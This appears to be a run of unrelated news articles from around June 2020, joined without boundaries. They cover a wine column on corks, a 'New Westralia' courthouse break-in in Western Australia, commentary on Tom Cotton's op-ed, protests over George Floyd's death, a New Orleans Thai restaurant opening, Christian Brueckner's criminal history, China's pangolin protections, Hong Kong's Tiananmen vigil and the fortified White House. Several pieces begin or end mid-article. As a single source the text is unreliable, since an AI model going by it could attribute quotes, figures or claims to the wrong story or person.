She has a point. We can get very nerdy about the different types of cork and synthetic closures, their environmental virtues and how they protect against cork taint or allow precisely the right amount of oxygen into the wine to allow it to age properly. Mrs Bates likes her corks spongy, with a bit of a spring when you squeeze on either end, and a ring of color around the base. That ring, either red or a wet stain from a white wine, indicates the bottle was stored on its side or upside down, the wine in contact with the cork. That's conventional wisdom for proper storage, and explains why wine racks hold bottles horizontally.

"Don't forget to sniff the wine-end of the cork," advised another reader, DaveInNY. If the wine is contaminated with cork taint, a chemical called TCA, "the cork will smell like wet dog. Yuck." Well, maybe. Sniffing the cork is suggestive, but not conclusive, about the quality of the wine. A cork may smell fine even after it has tainted the wine, and a wine may be fine even if the cork smells moldy.

However, DaveInNY makes a good point in urging us to inspect a wine's ullage - the gap between the cork and the wine in an unopened bottle, which should be about a quarter to half an inch. A greater gap suggests wine has evaporated or seeped through a faulty cork. This is usually a problem for older wines. The wine may have been stored upright and the cork may have deteriorated over time. If you see excessive ullage in a younger wine (10 years or less) in a store, don't buy it. If you already have the wine in your cellar, open it but have a backup bottle on hand, just in case the first isn't good.

A reader emailed with a question about disintegrating corks. While stuck at home, he had decided to open some older vintages dating back to 1995 from his collection instead of waiting for those special occasions that never seem to come.

"Unfortunately, a couple of times the corks were totally dried out, and I managed to decimate them while opening." The bottles had spent most of their lives stored horizontally, but had stood upright for three months during renovation. Could that be the problem, he asked.

Probably not, I replied, as I've frequently found dried-out crumbly corks in older bottles. The culprit is more likely low humidity in the storage area. I recommended he splurge on a Durand, the ne plus ultra of wine openers, specially designed with older corks in mind. The Durand is a combination of a traditional spiral corkscrew and the two-pronged ah-so opener. You insert the spiral through the cork, then the prongs between the cork and the bottle. A slow twist-and-pull motion removes the cork without the force of a lever that can break it in half. A Durand costs about $125, but if you drink a lot of old vintages, it's worth it.

Several commenters chastised me for advocating alcohol consumption during a global public health emergency that has claimed more than 100,000 American lives and driven millions out of work. This is a wine column, after all. I don't advocate overindulging, of course - I hope everyone will drink better wine and be more mindful about it. And I hope we will continue to support local wineries and wine stores that have been hurt by the economic downturn, especially now that lockdown restrictions are easing for the time being.
A group of radical Christian protesters allegedly smashed their way into a 200-year-old courthouse to set up a new 'sovereign nation', declaring it a 'world class destination'.

The chaos unfolded at the National Trust building in York, about an hour east of Perth, on Friday morning, by a group who have dubbed their new country 'New Westralia'.

In bizarre live streamed footage, one group member is allegedly seen smashing the door with a metal rod and tearing it down, before his comrades huddle into the building.

They are then accused of staging a sit-in as they attempted to declare their own sovereign nation - out to battle 'dark forces' in a 'spiritual war'.

Police later stormed into the courthouse and arrested the group, while their apparent leader sat calmly in a chair, clutching onto a copy of the Bible.

Announcing the establishment of their new country, the group explained on its website that it wants to promote 'the great adventure of life'.

A group of radical protesters allegedly stormed the National Trust building in Western Australia on Friday morning (pictured) The former courthouse has been around for 200 years

'As a Christian nation, New Westralia strives to be a world class destination for spiritual vitality, enlightenment, meditation, wonder and expression,' it read.

One member, Wade Guerin, explained to his followers that they were soon 'under siege', as police were called when the building's alarm was triggered.

It is unclear what they hoped to do with the building.

But before their dramatic arrest, the group proudly raised their own 'New Westralia' flag, replacing what they called the 'satanic' Australian flag just moments before breaking in.

During the video the protesters are seen allegedly resisting police who repeatedly tell them to stand up.

Mr Guerin later shared on social media they were being taken away by police.

'I don't have time to answer questions as we are under siege at the current moment in York, Australia and staying strong in our court,' he wrote.

One of the group members is seen allegedly busting down the building's door as part of the unusual protest

'Please do your research as much as possible, good people...I can only show you the way,' he wrote.

'We must all attempt our own escape and everything is in play to do so, trust me.

'Let us all come together in unity.'

He also declared their new 'kingdom' a 'legal entity', and even claimed to have 'diplomatic immunity'.

On the group's website 'Friends of New Westralia', they claim to be a 'peaceful society for the people native of the Dependencies of Western Australia'.

The group posted this document online (pictured) declaring their new nation's mission statement

'New Westralia is an open and inclusive societal structure with organic harmonies, friendships and associations,' it reads.

'Where local, regional and state politics benefit, with enduring international friendships and economic relationships secured by mutual appreciation and understanding of those sovereign interests.'

It also boasts having 'world class resources', as well as 'commercial opportunities to encourage trade and technological aspirations'.

The website claims the nation is adept in numerous industries, including manufacturing, services, food, energy, education, health, IT and 'scientific discovery'.

Three men and a woman were arrested and charged with criminal damage, trespassing, and obstructing police.

They were due to face court on Friday afternoon.
A similar case could be made for hearing from Cotton, an enemy of liberal democracy who has the presidents ear. He is relevant, whether we like it or not. (Soon after his piece was published, Trump retweeted it.)

Thus when I first saw the Cotton Op-Ed I wasnt as horrified as perhaps I should have been; I figured hed helpfully revealed himself as a dangerous authoritarian. But as Ive seen my colleagues anguished reaction, Ive started to doubt my debating-club approach to the question of when to air proto-fascist opinions.

Putin and Haqqani, after all, werent given space in this newspaper to advocate attacks on Americans during moments of national extremis. Cotton, by contrast, is calling for what would almost certainly amount to massive violence against his fellow citizens: an overwhelming show of force to disperse, detain and ultimately deter lawbreakers.

In a racist inversion, he equates his fantasy of soldiers putting down an uprising triggered by police brutality against black people with previous presidents using the military to enforce desegregation.

His argument is frequently slippery and dishonest. The claim that police officers bore the brunt of the violence is hard to square with countless videos of police instigation. (So far, more civilians than police officers have been reported killed during the uprising.)

Cotton notes that President George H.W. Bush sent federal troops into Los Angeles in 1992 to quell the riots that broke out after the police who beat Rodney King were acquitted. But he doesnt tell readers that Bush did so at the invitation of Californias governor.

Thats very different from the federal government overriding local elected authorities and occupying their states and cities, which seems to be what Cotton is proposing. Its an idea that appalls many military leaders.
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Protesters gathered peacefully in Centenary Square in Birmingham, England, on Thursday afternoon, June 4, as demonstrations around the world called for justice in the police-involved death of black Minneapolis man George Floyd.

This video shows what the media reported as thousands of protesters taking a knee in solidarity with victims of police brutality.

Protesters marched through London on Wednesday, clashing with police outside 10 Downing Street.

Floyd, 46, died on May 25 when a policeman knelt on his neck for more than eight minutes as three other policemen looked on.

All four officers involved in the arrest have been charged with crimes. Credit: Rajwinder Pal via Storyful
Restaurant projects in the works before the coronavirus crisis have been progressing across town. That includes a new Thai restaurant on Magazine Street that will open in stages.

Cho Thai is scheduled to debut Thursday (June 18), beginning with takeout and delivery before adding full service in its dining room in the weeks ahead.

The restaurant, at 3218 Magazine St., is a partnership between Jimmy Cho, owner of the Gretna restaurant Banana Blossom, and BRG Hospitality. That company previously ran Warbucks at this address.

Cho said his new restaurant shares some traditional Thai starting points with Banana Blossoms menu and adds a mix of more homestyle dishes and street-food standards.

Expect spicy clams, calamari, grilled shrimp pad thai, crab fried rice, braised beef Chiang Mai noodle, papaya salad and hat yai chicken, a type of fried chicken marinated with lots of garlic and pepper.

Cho Thai will be a much larger restaurant than Banana Blossom. The restaurant space had long been home to Byblos before becoming Amici Ristorante and later Warbucks, which closed last year. Cho Thai will have a large bar and art pieces Cho collected back in his native Thailand.

Cho grew up in northwest Thailand, where his family ran a combination noodle shop and grocery. He eventually made it to New Orleans, where he was studying to be a surgical tech before trying his hand at the restaurant business. Banana Blossom made a modest debut in 2009, opening with just a few tables in a small storefront in a strip mall.

Over time, Cho started folding in a wider range of flavors for a pan-Asian fusion style alongside the traditional dishes.

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In 2018, Cho relocated to a larger spot in downtown Gretna, after renovating an old corner store into the new Banana Blossom.

Cho said Banana Blossom has maintained much of its business through the restrictions, with takeout making up for dining room service. That's been an encouraging sign as plans for the new restaurant took shape.

Cho Thai

3218 Magazine St., (504) 321-4264

Scheduled to open June 18, 11 a.m.-9 p.m. daily for takeout and delivery to begin

Banana Blossom Thai Restaurant

500 Ninth St., Gretna, (504) 392-7530

+14 'This is my time.' Despite turmoil, Central City chef plans new restaurant in Gentilly What can one person do? How can we stay grounded when the terrain keeps shifting beneath us? How can we share community strength when many bon
He was sentenced to two years in a detention centre at Wuerzburg District Court

Brueckner later 'dropped his trousers' at a nine-year-old before fleeing the scene

He only stopped when the schoolgirl screamed and cried, and he then ran away

Christian Brueckner was 17 when he molested a girl, six, in Wuerzburg, Bavaria

The first details of Christian Brueckner's troubled Bavarian youth emerged on Friday as it was claimed that he was given up by his mother at birth and began abusing children as a teenager.

Brueckner was 17 when he molested a six-year-old girl in a public playground in his home town of Wuerzburg, Bavaria.

He only stopped groping the terrified schoolgirl when she began to scream and cry and he then ran away, a youth court was told.

The first details of Christian Brueckner's (pictured) troubled Bavarian youth emerged as it was claimed that he was given up by his mother at birth and began abusing children as a teenager

Brueckner left Portugal shortly after Madeleine McCann (pictured) disappeared in May 2007 and returned to Germany 'to start a new life', according to a friend who gave him somewhere to stay in Braunschweig

In February 2016, Brueckner's property in Neuwegersleben was searched in connection with the disappearance of 5-year-old Inga Gehricke (pictured), who vanished on May 2, 2015 in Wilhelmshof, near Stendal

Later, the then-teenage Brueckner 'dropped his trousers' at a nine-year-old before fleeing the scene, according to German newspaper Bild.

Brueckner, who had quit secondary school to train as a car mechanic, was arrested later for the vile acts in 1994.

At his trial at Wuerzburg District Court, he was asked by the juvenile judge what he thought about his actions and he replied: 'I didn't think anything,' according to the newspaper.

A psychiatrist told the court that Brueckner required 'intensive supervision'. He was sentenced to two years in a young person's detention centre, convicted of both offences.

Born in Bavaria in 1976, he was born Christian Fischer but was given up by his birth mother and placed in a children's home in Wuerzburg.

He was later adopted by the Brueckner family, taking their name, German media reports said.

But he descended into a life of crime as a young teenager and was convicted of his first burglary in Wuerzburg in 1992, aged 15.

In 1993 he was sentenced to an eight-month suspended juvenile sentence for multiple thefts and driving without a licence.

Kiel Prison in northern Germany where Madeleine McCann suspect convicted German paedophile Christian Brueckner is being held

Sinister abduction fantasy 'revealed to chatroom pal' Christian Brueckner fantasised about kidnapping and sexually abusing a child, it was claimed yesterday. He reportedly told a friend in an internet chatroom he wanted to capture something small and use it for days. The conversation took place in September 2013, Der Spiegel reported. According to the German magazine, the transcript from the chat room came from official case documents. The ex-lead Portuguese investigator on the case has claimed Brueckner had been ruled out of the inquiry in 2008. But he allegedly came back into the frame after a conversation in an chatroom about Maddie. It was also claimed that in a German bar when a TV report on Maddie was show ten years after she vanished, he turned to his drinking partner and said he knew all about the case. Advertisement

His formative years appear to have been a swift descent into petty crime and depravity.

He did not even complete his two-year youth detention before hotfooting it to Algarve, Portugal as a backpacker after turning 18 in 1995.

It set the scene for a lifetime on the run, as the German drifter reportedly funded his 12 years in the Algarve sunshine by breaking into holiday homes, peddling drugs and stealing car parts.

He left Portugal shortly after Madeleine McCann disappeared in May 2007 and returned to Germany 'to start a new life', according to a friend who gave him somewhere to stay in Braunschweig.

In 2012 Brueckner set up a kiosk business in the city, selling soft drinks, alcohol and cigarettes.

The kiosk business collapsed and Brueckner ended up drinking heavily, living on the streets and scraping by with social security payments.

A former neighbour, named only as Norbert M, claimed: 'He became more and more aggressive. I heard that he left the kiosk and then went to Portugal or Spain with a girl. He then left dogs in his kiosk for weeks.'

He said he had negotiated with Brueckner to take over the kiosk in 2015 and he 'went crazy'.

Norbert M said: 'He wanted to take a freezer and the air conditioning with him, even though he didn't own it.

'He was very aggressive. A little later he showed up here with some acquaintances. One of them threatened me.'

Yesterday it was reported that Brueckner could be released from prison in days.

He is currently in jail in Kiel in the northern German state of Schleswig-Holstein, after being handed a sentence for selling drugs on the island of Sylt.

He was originally jailed in 2011 for almost two years.

He was released due to good behaviour but sent back to jail in October 2018 for breaching probation.

As of June 7 he will have served two-thirds of the 2011 term meaning he is now eligible for parole.
China has stepped up the protection efforts of pangolins - believed to be the world's most trafficked mammal - as the country continues to clamp down on the wild animal trade amid the COVID-19 pandemic.

Chinese authorities today increased the protection level of the critically endangered animals from class two to class one. The move means anyone found guilty of hunting and trading pangolins would face double the jail term.

The scaly anteater-like creatures have been blamed for transmitting the novel coronavirus from bats to humans, though scientists are still debating over the theory.

China has increased the protection level of critically endangered pangolins from class two to class one, meaning anyone found guilty of trafficking them would face double the jail term

The exotic mammals are trafficked by the thousands for their perceived nutritional value. Pictured, officials show a live pangolin after an anti-smuggling attack in Indonesia in 2017

Pangolins inhabit tropical forests in India, China, south-east Asia and parts of Africa.

Out of the eight existing sub-species, three are critically endangered, and all of them are protected by international treaty.

The general hunting and trading of pangolins have been banned in China since the late 1980s, but the exotic mammals are still trafficked by the thousands for their perceived nutritional value.

Their scales are deemed as a previous ingredient by believers of traditional Chinese medicine. People eat their meat for the supposed health benefits. And the animals' blood is seen as a healing tonic.

Today's reclassification means that anyone who is convicted for hunting and killing pangolins would face a maximum jail term of 10 years, instead of the previous five years.

A worker releases a pangolin at Zijinshan area on July 13, 2007, in the Chinese city of Nanjing

The government is still allowing the hunting, trading and using of the animals for the purpose of scientific research, breeding, display and other 'special situations', according to the country's wild animal protection law.

But now individuals and companies must send their applications to the central government, instead of the regional government, before carrying out the above activities.

Experts in China said in January that the coronavirus had likely jumped onto humans from wild animals sold as food at a wet market in Wuhan, a city of 11million in central China.

In the following month, China's central government blocked all trade and consumption of wildlife with a temporary law in response to the health crisis.

Experts believe that the coronavirus presently sweeping the globe originated in bats - but likely spread to humans via another, intermediary, animal host.

Experts in China said in January that the coronavirus had likely jumped onto humans from wild animals sold as food at a wet market in Wuhan. The file photo taken on January 17 shows the Huanan Seafood Whole Market, which is believed to be the origin of the coronavirus outbreak

China's central government blocked all trade and consumption of wildlife with a temporary law in February in response to the health crisis. In the file photo taken on January 5, 2004, workers collect civets in Xinyuan wildlife market to prevent a possible spread of SARS in Guangzhou

In February, a team of Chinese scientists claimed that pangolins might be the link which allowed the bug to be passed onto people.

Researchers at the South China Agricultural University identified the scaly mammal as a 'potential intermediate host'.

The international scientific community has since debated over the proposition, and the exact source of the virus remains unknown.

Last month, researchers from China found that pangolins are indeed natural hosts for various coronaviruses, but do not appear to be the direct source of COVID-19.

The exact source of the virus remains unknown and scientists are debating if pangolins were to blame. Pictured, commuters wear face masks wait to cross an intersection in Beijing on May 18

In their study, Ping Liu of the Guangdong Academy of Science in China and colleagues sequenced the whole genome of a coronavirus identified in two groups of sick Malayan pangolins.

The team's data confirmed that the pangolin coronavirus is genetically associated with both SARS-CoV-2 -- the novel virus behind the current pandemic -- and a group of bat coronaviruses.

However, the researchers' analysis suggested that SARS-CoV-2 did not arise directly from the pangolin coronavirus, as had previously been suspected.

But other experts said that it was still too early to rule out the mammals as an intermediate host.

In an article published by Nature in May, scientists said because pangolins were the only wild mammals besides bats known so far to be living with coronaviruses similar to SARS-CoV-2, their connection to the pandemic could not be counted out.
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Hong Kong police have clashed with protesters after thousands defied a ban to mark the 31st anniversary of the bloody Tiananmen Square crackdown.

Officers fired pepper spray to disperse protesters who defied an official ban and gathered in a park to mark the 31st anniversary of China's bloody crackdown on democracy students.

The scuffles broke out in the working-class Mong Kok district when demonstrators tried to set up roadblocks with metal barriers and officers used spray to dispel them, according to Reuters witnesses.

Earlier, thousands flouted police's order, broke through barricades and amassed at the city's Victoria Park with candles to pay tribute to the victims of the 1989 violence.

On Twitter, Hong Kong police said that 'some black-clad protesters are blocking roads in Mongkok. ... Police officers are now making arrests.' They urged people not to gather in groups because of the coronavirus.

In a separate Facebook post, police said the situation in Mongkok was dangerous and chaotic, and that it used the 'minimum required force' in response.

After the vigil in Victoria Park, groups of protesters dressed in black carried flags that said 'Liberate Hong Kong, Revolution of our times' as well as 'Hong Kong Independence'.

'We all know the Hong Kong government and the Chinese government really don't want to see the candle lights in Victoria Park,' said Wu'er Kaixi, a former student leader who was number two on the government's most-wanted list following the Tiananmen Square crackdown.

Thousands of Hong Kong residents attended a rally commemorating the 31st anniversary of the Tiananmen Square Massacre. Rally attendees chanted slogans, lit candles and held a moment of silence in remembrance of the day

Undercover police arrested attendees during a memorial vigil in Mongkok on June 4 in Hong Kong. Thousands gathered for the annual memorial vigil in Victoria Park to mark the 1989 Tiananmen Square Massacre despite a police ban citing coronavirus social distancing restrictions

After 31 consecutive years, Hong Kong remembered the conflicts that occurred in Beijing in 1989 surrounded by a tense climate with China and with the outbreak of the Coronavirus still active in the city. The gathering was banned, but still thousands of people have gathered in Victoria Park

Thousands gathered for the annual memorial vigil in Victoria Park to mark the 1989 Tiananmen Square Massacre despite a police ban citing coronavirus social distancing restrictions

Protesters hold their candles during a moment of silence on the 31st Anniversary of the Tiananmen Massacre

 Slide me  Hong Kong residents have defied a ban to commemorate the 31st anniversary of the Tiananmen crackdown. Hong Kong, ruled under the 'one country, two systems' framework, was the only place in China that could mark the bloodbath. The picture (left) shows a candlelight vigil on June 4, 2019 and the picture (right) shows a view of Hong Kong's Victoria park on June 4, 2020

Activists hold a candlelit remembrance outside Victoria Park in Hong Kong on June 4 after police banned the mass gathering

One participant holds a flag bearing the words 'Liberate Hong Kong, revolution of our times', a slogan of the ongoing pro-democracy protests in the Asian financial hub. Police blocked the vigil on public health grounds because of coronavirus

People walk over barriers, which were set up to prevent access to Victoria park, to attend a candlelit vigil commemorating the anniversary of the 1989 Tiananmen Square crackdown in Hong Kong on Thursday. The vigil has been banned by police

People holding umbrellas try to bring down barriers set up to prevent access to Victoria park to attend a candlelit vigil commemorating the anniversary of the 1989 Tiananmen Square crackdown in Hong Kong on June 4

The Tiananmen crackdown is the most censored topic by China's ruling Communist Party who paints the young participants as anti-government rioters aiming to overthrow their regime. Hong Kong was the only place that could mark the incident

Pro-democracy activists have defied a police ban and come to mourn those killed in the 1989 Tiananmen crackdown outside Victoria Park in Hong Kong on Thursday. Police rejected the application of a mass vigil, which had been running for 30 years

Chairman of the Alliance in Support of Patriotic Democratic Movements of China and former Legislative Council member, Lee Cheuk-yan (central), leads a candlelit remembrance with other activists outside Victoria Park in Hong Kong on Thursday

Hong Kongers had kept memories alive for the past three decades by holding a huge annual vigil until this year's official ban

The semi-autonomous city had for three decades seen huge vigils to remember those killed when China's communist leaders deployed its military into Beijing's Tiananmen Square to crush a student-led movement for democratic reforms in June, 1989

Pro-democracy activists in Hong Kong, who have been waging a long struggle against what they see as China's tightening grip on the city, were determined to make their voices heard even though authorities have forbidden a mass gathering

Critics accused Beijing of stifling freedoms on the semi-autonomous territory after authorities blocked an annual mass vigil at a time of seething anger over a planned new security law.

Police made at least four arrests after clashing with protesters between Portland Street and Argyle Street in Mong Kok, according to South China Morning Post.

Hundreds and possibly thousands of people were killed on the Tiananmen Square when tanks and troops moved in on the night of June 3-4, 1989, to break up weeks of student-led protests that had spread to other cities and were seen as a threat to Communist Party rule.

The event is the most censored topic by China's ruling Communist Party who paints the young participants as anti-government rioters aiming to overthrow their regime.

Hong Kongers have kept memories alive for the past three decades by holding a huge annual vigil, the only part of China where such mass displays of remembrance are possible.

But this year's service was banned on public health grounds because of the coronavirus pandemic with barricades surrounding Victoria Park, the traditional ceremony venue, and police patrolling nearby.

However, the official order has not deterred Hong Kong people.

The bloodbath has been immortalised by the above picture called the 'Tank Man', which shows a student holding bags of grocers standing in front of a row of tanks to protest at the clampdown by the armies against its own people. The picture was taken by photographer Jeff Widener of the Associated Press from a sixth-floor balcony of the Beijing Hotel near Tiananmen

A protester raises his British National Overseas (BNO) passports during today's candlelight vigil. Boris Johnson has said that he would 'willingly' offer three million people from Hong Kong visa-free refuge in the UK if China erodes human rights there

Protesters wearing protective face masks take part in a candlelight vigil to mark the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989. Police have reportedly made at least arrests during clashes

Social media footage shows a lone Hong Kong man earlier today kneeling in front of a barricaded Victoria Park to show his respect to the thousands of victims of the bloody event. This year's annual vigil was supposed to take place in the park

A tweet accompanying the video reads: 'If anyone thinks ban and barriers can stop the mourning and memories...'

If anyone thinks ban and barriers can stop the mourning and memories...#june4 pic.twitter.com/8uSPLZDiPj  Xinqi Su  (@XinqiSu) June 4, 2020

People in 2019 attend a candlelight vigil at Victoria Park in Hong Kong to mark the Tiananmen crackdown anniversary

Social media footage shows a Hong Kong man earlier today kneeling in front of a barricaded Victoria Park by himself to show his respect to the thousands of victims of the bloody event.

A tweet accompanying the video reads: 'If anyone thinks ban and barriers can stop the mourning and memories...'

Another clip shows students at Hong Kong University wearing black T-shirts and observing a minute's silence to show their respect to the young protesters in the Chinese capital city 31 years ago.

China's communist rulers forbid discussion on the mainland of the Tiananmen crackdown, during which hundreds -- by some estimates more than a thousand -- people were killed. Pictured, chairman of the Alliance in Support of Patriotic Democratic Movements of China and former Legislative Council member, Lee Cheuk-yan (centre L), leads a candlelit remembrance

With democracy all but snuffed out in mainland China, the focus has shifted increasingly to semi-autonomous Hong Kong, where authorities for the first time banned an annual candlelight vigil marking the anniversary of the 1989 crackdown

Hong Kong was engulfed by seven straight months of huge and often violent pro-democracy protests last year -- rallies that kicked off five days after the last annual vigil. Pictured, a man wearing a protective face mask looks on in today's vigil

A 74-year-old man who gave his surname as Yip told AFP inside the Victoria Park: 'I've come here for the vigil for 30 years in memory of the victims of the June 4 crackdown, but this year it is more significant to me.'

He added: 'Because Hong Kong is experiencing the same kind of repression from the same regime, just like what happened in Beijing.'

Some of the people in the park wore black t-shirts with the word 'Truth' emblazoned in white. Others shouted pro-democracy slogans including: 'Stand with Hong Kong'.

Police maintained a presence near the park but did not move to disperse the protesters.

University students wearing black T-shirts observe a minute of silence before cleaning the Pillar of Shame, a statue by Danish artist Jens Galschiot to remember the victims of the 1989 Tiananmen crackdown in Beijing, at The University of Hong Kong

Students at Hong Kong University observe a minute's silence on Thursday to pay tribute to the young protesters killed in 1989

University students clean the Pillar of Shame, a statue by Danish artist Jens Galschiot to remember the victims of the 1989 Tiananmen crackdown in Beijing, at Hong Kong University

The commemorations fell on another febrile day of political tension in the semi-autonomous city as lawmakers approved a Beijing-backed bill criminalising insults to China's national anthem.

Pro-democracy politicians refused to cast their ballots with one throwing a foul-smelling liquid on the floor in a bid to halt proceedings and others shouting slogans as the votes were cast.

Opponents say the law is the latest move by Beijing to snuff out the city's cherished freedoms and have rallied around the symbolism of the law being passed on the anniversary of Tiananmen.

Open discussion of the brutal suppression is forbidden in mainland China where hundreds -- by some estimates more than a thousand -- died when the Communist Party sent tanks into Beijing's Tiananmen Square on June 4, 1989 to crush a student-led demonstration calling for democratic reforms.

The Hong Kong University student union pays their respects to those who died in 1989 June 4 pic.twitter.com/ohu2mc277W  Pak Yiu (@pakwayne) June 4, 2020

Organisers have called for residents to instead light candles of remembrance at 8pm (1200 GMT) wherever they are.

'I don't believe it's because of the pandemic. I think it's political suppression,' a 53-year-old man surnamed Wong, told AFP after kneeling by the park barricades to pay respects to the dead.

'I do worry that we may lose this vigil forever.'

On the campus of Hong Kong University, students spent the afternoon cleaning a memorial to the Tiananmen dead known as 'The Pillar of Shame'.

Hong Kong riot police set up a checkpoint near the Legislative Council on the 31st anniversary of the Tiananmen crackdown

Protesting Hong Kong pro-democracy lawmakers (facing) are blocked by security (bottom) during debate on a law banning insulting China's national anthem

Crowds have swelled at Hong Kong's Tiananmen vigils whenever fears have spiked that Beijing is prematurely stamping out the city's own cherished freedoms, an issue that has dominated the finance hub for the past 12 months

Students clean the Pillar of Shame, a statue by Danish artist Jens Galschiot to remember the victims of the crackdown

Hong Kong security law in the hands of China

Crowds have swelled at Hong Kong's Tiananmen vigils whenever fears have spiked that Beijing is prematurely stamping out the city's own cherished freedoms, an issue that has dominated the finance hub for the past 12 months.

The city was engulfed by seven straight months of huge and often violent pro-democracy protests last year -- rallies that kicked off five days after the last annual vigil.

In response to those demonstrations last month Beijing announced plans to impose the security law, which would cover secession, subversion of state power, terrorism and foreign interference.

China says the law -- which will bypass Hong Kong's legislature -- is needed to tackle 'terrorism' and 'separatism' in a restless city it now regards as a direct national security threat.

Opponents, including many Western nations, fear it will bring mainland-style political oppression to a business hub supposedly guaranteed freedoms and autonomy for 50 years after the 1997 handover from Britain.

- Blackout on mainland -

With the Victoria Park vigil banned, Hong Kongers are organising locally and getting creative, chiefly with the scattered candle-light ceremonies.

Seven Catholic churches have also announced plans to host a commemorative mass on Thursday evening.

But in mainland China, the crackdown is greeted by an information blackout, with censors scrubbing mentions of protests and dissidents often visited by police ahead of June 4.

Police in Beijing prevented an AFP photographer from entering Tiananmen Square to record the regular pre-dawn flag-raising ceremony on Thursday and ordered him to delete some photos.

The candle emoji has been unavailable in recent days on China's Twitter-like Weibo platform.

The United States and Taiwan issued statements calling on China to atone for the deadly crackdown.

'Around the world, there are 365 days in a year. Yet in China, one of those days is purposely forgotten each year,' Taiwan's President Tsai Ing-wen tweeted.

Secretary of State Mike Pompeo tweeted a photo of him meeting prominent Tiananmen survivors as US racial justice protests continue.

On Wednesday, China's foreign ministry described calls for Beijing to apologise for the crackdown as 'complete nonsense'.

'The great achievements since the founding of new China over the past 70 or so years fully demonstrates that the developmental path China has chosen is completely correct,' spokesman Zhao Lijian told reporters.
WASHINGTON - The security perimeter around the White House keeps expanding. Tall black fencing is going up seemingly by the hour. Armed guards and sharpshooters and combat troops are omnipresent.

In the 72 hours since Monday's melee at Lafayette Square, the White House has been transformed into a veritable fortress - the physical manifestation of President Donald Trump's vision of law-and-order "domination" over the millions of Americans who have taken to the streets to protest racial injustice.

The White House is now so heavily fortified that it resembles the monarchical palaces or authoritarian compounds of regimes in faraway lands - strikingly incongruous with the historic role of the executive mansion at 1600 Pennsylvania Ave. NW, which since its cornerstone was laid in 1792 has been known as the People's House and celebrated as an accessible symbol of American democracy.

This week's security measures follow nighttime demonstrations just outside the campus gates last weekend that turned violent. White House officials stressed that Trump was not involved in the decision to beef up security or to increase the fencing around the compound's perimeter, with one senior administration official saying that the precautions are not unique to the Trump administration.

Nevertheless, the resulting picture is both jarring and distinctly political - a Rorschach test for one's view of Trump's presidency. His supporters see a projection of absolute strength, a leader controlling the streets to protect his people. His critics see a wannabe dictator and a president hiding from his own citizenry.

Trump - who has long gravitated toward strongman leaders abroad and has sought to bathe himself in military iconography - likes the images of police and troops enforcing order, believing they symbolize his toughness and communicate that his crackdown has largely controlled unrest in the streets of Washington, according to White House officials.

"Washington is in great shape," Trump said Wednesday in a Fox News Radio interview. "I jokingly said, a little bit jokingly, maybe, it's one of the safest places on earth. And we had no problem at all last night. We had substantial dominant force and it - we have to have a dominant force. Maybe it doesn't sound good to say it, but you have to have a dominant force. We need law and order."

Deborah Berke, dean of the Yale School of Architecture, said the White House barricaded as if it were a military base, with multiple layers of black fencing surrounding the limestone Georgian structure, conveys the opposite message and represents a physical violation of democracy.

"I think the need to fortify your house - and it's not his house; it's our house - shows weakness," she said. "The president of the United States should not feel threatened by his or her own citizens."

The campaign of former vice president Joe Biden, the presumptive Democratic nominee, says Trump's desire to project toughness will not work with many voters.

"Firing tear gas and shooting rubber bullets at peaceful demonstrators outside the People's House doesn't make anyone safer or Donald Trump seem tougher, and it certainly doesn't address the systemic racism and inequality that has plagued our country for generations," Biden spokesman T.J. Ducklo wrote in an email.

Security around the White House has ratcheted up over the years, with Pennsylvania Avenue closed to vehicular traffic following the 1995 Oklahoma City bombing, and a taller permanent fence constructed a few months ago in response to several breaches during the Obama administration.

This week, however, the security perimeter was expanded. Two north entrances along Pennsylvania Avenue NW were closed, with staff and visitors routed to a southwest gate on 17th Street NW.

On Wednesday, a Secret Service agent was stationed outside that gate, a second agent was in a booth checking people's identification, and someone checked people's temperatures in a medical tent - a preventive measure in place because of the coronavirus pandemic. Visitors were then taken into a fourth booth for security checks, where they walked through a metal detector and had their bags screened.

Inside the building, however, Secret Service agents occupied their normal guard stands and there did not appear to be a heightened security presence.

District of Columbia Mayor Muriel Bowser, a Democrat, told reporters Thursday that she is "concerned that some of the hardening that they are doing may be not just temporary."

"It's a sad commentary that the house and its inhabitants have to be walled off," Bowser said. "We should want the White House to be opened up for people to be able to access it from all sides."

Alyssa Mastromonaco, a former top Obama White House aide who directed operations, decried what she called "an incredibly sad transformation" to the White House this past week.

"Laura Bush believed in opening the White House to the public," Mastromonaco said. "Michelle Obama took that idea and expanded to the People's House. She routinely would say, this was not ours; it belonged to the American people. And our job was to make sure there was not one child left in this country who didn't believe they belonged there. Everyone is good enough to walk through those doors."

Trump White House officials, too, said they are eager for the expanded perimeter and additional barriers to be removed. The goal had been to spread protesters out to a larger area away from the White House so the crowd didn't get too large to manage in any one place, explained one of the officials, who like some others interviewed spoke on the condition of anonymity to relate internal discussions.

Attorney General William Barr, whom Trump has placed in charge of coordinating the federal law enforcement response, suggested Thursday that the military presence and security protocols around the White House probably would soon diminish because officials had seen a dramatic reduction in violence in the preceding two days.

"After assessing the situation last night toward the end of the evening, or maybe early in the morning, I felt that we could afford to collapse our perimeter and eliminate some of the checkpoints and so forth and take a little bit of a more low-profile footprint," Barr told reporters. "We have seen a sharp reduction in violent episodes."

Kerri Kupec, a Barr spokeswoman, said the attorney general was referring to the north perimeter, which was being collapsed from I Street to H Street NW.

Some new barriers along the east and west perimeters of the White House are still going up, in preparation for tens of thousands of expected demonstrators this weekend, administration officials said. It was unclear who controls this new fencing along the east and west perimeters, though a Park Police spokesman said all the barriers were managed by the Secret Service.

The Secret Service said in a statement that the closures will be in effect until June 10 in "an effort to maintain necessary security measures surrounding the White House complex, while also allowing for peaceful demonstration."

Trump has been receiving regular updates from aides about the status of the security perimeter and has closely monitored television news coverage, according to an adviser.

The president has been sensitive to the perception fanned by his critics that he is cowering in a bunker and fearful for his own safety. Aides said he was livid that the media found out that he had been rushed into a secure underground bunker last Friday night with wife Melania and son Barron after several protesters breached the temporary fences near the Treasury Department grounds adjacent to the White House. He had claimed falsely that he entered the bunker only for "an inspection."

The bunker report has made Trump the subject of mockery on some cable news shows as well as on social media, where some users have dubbed him "Bunker Boy."

Far from hiding away inside, a senior White House official said, the president has left the grounds twice this week - on Monday for his controversial photo op at the historic St. John's Episcopal Church and on Tuesday to visit the Saint John Paul II National Shrine in Northeast Washington.

Trump aides are divided over the political impact of the recent events. Some believe Trump has "totally botched" his handling of the protests and created "an unmitigated disaster," according to one outsider adviser.

Kevin Madden, a top aide on Republican Mitt Romney's 2012 presidential campaign, warned that the images could undermine Trump's contention that he has the situation under control.

